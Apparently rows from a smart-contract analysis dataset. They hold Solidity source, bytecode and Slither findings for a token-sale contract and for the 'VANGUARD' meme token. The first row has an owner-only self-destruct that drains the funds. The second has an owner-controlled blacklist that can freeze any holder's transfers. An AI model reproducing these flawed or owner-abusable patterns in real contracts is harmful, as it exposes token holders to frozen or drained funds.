* @dev Emergency brake. Send all ethers and tokens to the owner.
*/
function destroy() onlyOwner public {
uint256 myTokens = getToken().balanceOf(this);
if (myTokens != 0) {
getToken().transfer(owner, myTokens);
}
selfdestruct(owner);
}
/*
* Internal functions
*/
/**
* @dev Returns the current period, or null.
*/
function _getFeeAndNetAmount(uint256 _grossAmount) internal view returns (uint256 _fee, uint256 _netAmount) {
_fee = _grossAmount.div(100).mul(feePerc);
_netAmount = _grossAmount.sub(_fee);
}
} | 0x6080604052600436106101195763ffffffff60e060020a6000350416631b9265b8811461013957806321df0da71461014e578063295b4e171461017f578063355274ea146101a857806339b8ce98146101cf5780633bb0cc55146101e45780633ccfd60b146101f95780633f4ba83a1461020e5780633f9942ff1461022357806347535d7b14610238578063481c6a751461024d5780634f935945146102625780635c975abb146102775780636ad1fe021461028c57806383197ef0146102a15780638456cb59146102b65780638da5cb5b146102cb578063df8de3e7146102e0578063ea8a1af014610301578063ef41ea7e14610316578063f2fde38b14610341578063f340fa0114610362578063fc7e286d14610376575b34151561012e5761012933610397565b610137565b610137336104cf565b005b34801561014557600080fd5b506101376105b2565b34801561015a57600080fd5b50610163610763565b60408051600160a060020a039092168252519081900360200190f35b34801561018b57600080fd5b506101946107f3565b604080519115158252519081900360200190f35b3480156101b457600080fd5b506101bd610801565b60408051918252519081900360200190f35b3480156101db57600080fd5b506101bd610807565b3480156101f057600080fd5b506101bd61080d565b34801561020557600080fd5b50610137610813565b34801561021a57600080fd5b506101376108f5565b34801561022f57600080fd5b5061019461096f565b34801561024457600080fd5b50610194610978565b34801561025957600080fd5b506101636109c0565b34801561026e57600080fd5b506101946109d4565b34801561028357600080fd5b506101946109df565b34801561029857600080fd5b506101636109ef565b3480156102ad57600080fd5b506101376109fe565b3480156102c257600080fd5b50610137610b65565b3480156102d757600080fd5b50610163610be4565b3480156102ec57600080fd5b50610137600160a060020a0360043516610397565b34801561030d57600080fd5b50610137610bf3565b34801561032257600080fd5b5061032b610c4a565b6040805160ff9092168252519081900360200190f35b34801561034d57600080fd5b50610137600160a060020a0360043516610c53565b610137600160a060020a03600435166104cf565b34801561038257600080fd5b506101bd600160a060020a0360043516610ceb565b6007546000908190610100900460ff1615156103b257600080fd5b600160a060020a03831615156103c757600080fd5b600160a060020a038316600090815260046020526040902054915081156104ca5761040f60055461040384600654610cfd90919063ffffffff16565b9063ffffffff610d3316565b905080151561041a57fe5b600160a060020a03831660009081526004602052604081205561043b610763565b600160a060020a031663a9059cbb84836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561049d57600080fd5b505af11580156104b1573d6000803e3d6000fd5b505050506040513d60208110156104c757600080fd5b50505b505050565b6104d7610978565b15156104e257600080fd5b600160a060020a03811615156104f757600080fd5b60025460055461050d903463ffffffff610d4a16565b111561051857600080fd5b600160a060020a038116600090815260046020526040902054610541903463ffffffff610d4a16565b600160a060020a03821660009081526004602052604090205560055461056d903463ffffffff610d4a16565b600555604080513481529051600160a060020a038316917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a250565b60008054819033600160a060020a039081169116146105d057600080fd5b60075460ff16156105e057600080fd5b6005546000106105ef57600080fd5b6105fa600554610d59565b60015460408051600160a060020a033081168252915194965092945016918391602080820192600092909190829003018185875af192505050151561063e57600080fd5b610646610763565b600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156106a057600080fd5b505af11580156106b4573d6000803e3d6000fd5b505050506040513d60208110156106ca57600080fd5b5051600655811561071557600354604051610100909104600160a060020a0316906108fc8415029084906000818181858888f19350505050158015610713573d6000803e3d6000fd5b505b6007805461ff001916610100179055604080518281526020810184905281517fef53713ee4f072f79f4d516084e3f4d15f2cde709d2091235b37ae719c272dd6929181900390910190a15050565b600154604080517ffc0c546a0000000000000000000000000000000000000000000000000000000081529051600092600160a060020a03169163fc0c546a91600480830192602092919082900301818787803b1580156107c257600080fd5b505af11580156107d6573d6000803e3d6000fd5b505050506040513d60208110156107ec57600080fd5b5051905090565b600754610100900460ff1681565b60025481565b60055481565b60065481565b60075460009060ff16151561082757600080fd5b50600160a060020a03331660009081526004602052604090205480151561084d57600080fd5b600160a060020a033316600090815260046020526040812055600554610879908263ffffffff610d9e16565b600555604051600160a060020a0333169082156108fc029083906000818181858888f193505050501580156108b2573d6000803e3d6000fd5b50604080518281529051600160a060020a033316917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b60005433600160a060020a0390811691161461091057600080fd5b60005460a060020a900460ff16151561092857600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60075460ff1681565b6000805460a060020a900460ff1615801561099857506109966109d4565b155b80156109a7575060075460ff16155b80156109bb5750600754610100900460ff16155b905090565b6003546101009004600160a060020a031681565b600254600554101590565b60005460a060020a900460ff1681565b600154600160a060020a031681565b6000805433600160a060020a03908116911614610a1a57600080fd5b610a22610763565b600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b505050506040513d6020811015610aa657600080fd5b505190508015610b5757610ab8610763565b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018690529051939091169263a9059cbb92604480840193602093929083900390910190829087803b158015610b2a57600080fd5b505af1158015610b3e573d6000803e3d6000fd5b505050506040513d6020811015610b5457600080fd5b50505b600054600160a060020a0316ff5b60005433600160a060020a03908116911614610b8057600080fd5b60005460a060020a900460ff1615610b9757600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b60005433600160a060020a03908116911614610c0e57600080fd5b60005460a060020a900460ff161515610c2657600080fd5b600754610100900460ff1615610c3b57600080fd5b6007805460ff19166001179055565b60035460ff1681565b60005433600160a060020a03908116911614610c6e57600080fd5b600160a060020a0381161515610c8357600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60046020526000908152604090205481565b600080831515610d105760009150610d2c565b50828202828482811515610d2057fe5b0414610d2857fe5b8091505b5092915050565b6000808284811515610d4157fe5b04949350505050565b600082820183811015610d2857fe5b6003546000908190610d859060ff16610d7985606463ffffffff610d3316565b9063ffffffff610cfd16565b9150610d97838363ffffffff610d9e16565b9050915091565b600082821115610daa57fe5b509003905600a165627a7a723058205bf3ae6085ad19bb3693201d2e5ff9f2b898c8e5537f62c176723e43a45d65800029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 9,832 |
0x4df2cf8ed36a22360ce1582eeafbe4ca58347891 | /**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
/**
Vanguard raised it's stake in Twitter
Now surpassing Elon Musk as the largest shareholder
Is this a good thing or bad thing?
Corporate interests vs. interests of a billionaire?
Maybe they're the same thing...
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Vanguard is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "VANGUARD";
string private constant _symbol = "VANGUARD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x8b4Ac6958b69b1b9bC7Cc396ad4879c4f5AFB918);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1500000 * 10**9;
_maxWalletSize = 3000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600881526020017f56414e4755415244000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b600067016345785d8a0000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b61096060646109528367016345785d8a0000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f56414e4755415244000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a8367016345785d8a0000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506605543df729c000600f81905550660aa87bee5380006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a819055506006600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffff